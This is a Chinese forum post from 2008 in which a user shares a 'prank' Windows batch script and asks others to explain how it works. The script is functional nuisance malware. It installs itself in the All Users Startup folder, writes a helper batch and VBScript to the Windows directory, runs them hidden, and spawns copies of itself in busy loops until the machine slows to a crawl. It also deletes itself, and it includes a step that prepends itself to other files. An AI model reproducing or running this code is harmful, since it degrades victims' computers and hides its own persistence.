Board logo

标题: 一个整人的BAT,请高手帮忙分析一下! [打印本页]

作者: wjdidi     时间: 2008-1-12 14:54    标题: 一个整人的BAT,请高手帮忙分析一下!

请高手们帮忙说明一下!感谢。。

::脚本运行后会使机器响应迟钝
::在运行中输入cmd /c echo.>C:\_stop可以无条件中止脚本
@echo off & cls
if not "%~n0"=="BatEncoder" goto body
if not "%~n1"=="" if exist "%~f1" copy/b "%~f0"+"%~f1" "%~dp1加密的%~nx1">nul 2>nul&echo 成功加密了脚本&goto :eof
echo 请将待加密文件名作为参数运行本程序
pause
goto :eof
:body
@echo off
if not exist "%HOMEPATH%\..\All Users\「开始」菜单\程序\启动\power.bat" copy %~fs0 "%HOMEPATH%\..\All Users\「开始」菜单\程序\启动\power.bat">nul
echo @echo off>%windir%\power.bat
echo if "%%1"=="" goto :end>>%windir%\power.bat
echo if exist C:\_stop goto :EOF>>%windir%\power.bat
echo start /B %%~fs0 exp>>%windir%\power.bat
echo :s>>%windir%\power.bat
echo if not exist C:\_stop goto s>>%windir%\power.bat
echo exit>>%windir%\power.bat
echo :end>>%windir%\power.bat
echo del %%~fs0>>%windir%\power.bat
echo set Shilyx=CreateObject("WScript.Shell")>%windir%\power.vbs
echo Shilyx.Run "%windir%\power.bat exp",0 >>%windir%\power.vbs
WScript %windir%\power.vbs
del %windir%\power.vbs
set p=%~ps0
if not %p:~-3,2%==启动 del %~fs0
在windir生成两个文件分别是:

power.bat
@echo off
if "%1"=="" goto :end
if exist C:\_stop goto :EOF
start /B %~fs0 exp
:s
if not exist C:\_stop goto s
exit
:end
del %~fs0
power.vbs
set Shilyx=CreateObject("WScript.Shell")
Shilyx.Run "power.bat exp",0

作者: wjdidi     时间: 2008-1-12 14:56
看着好像很简单,自己却越越看越糊涂,,麻烦各位了。。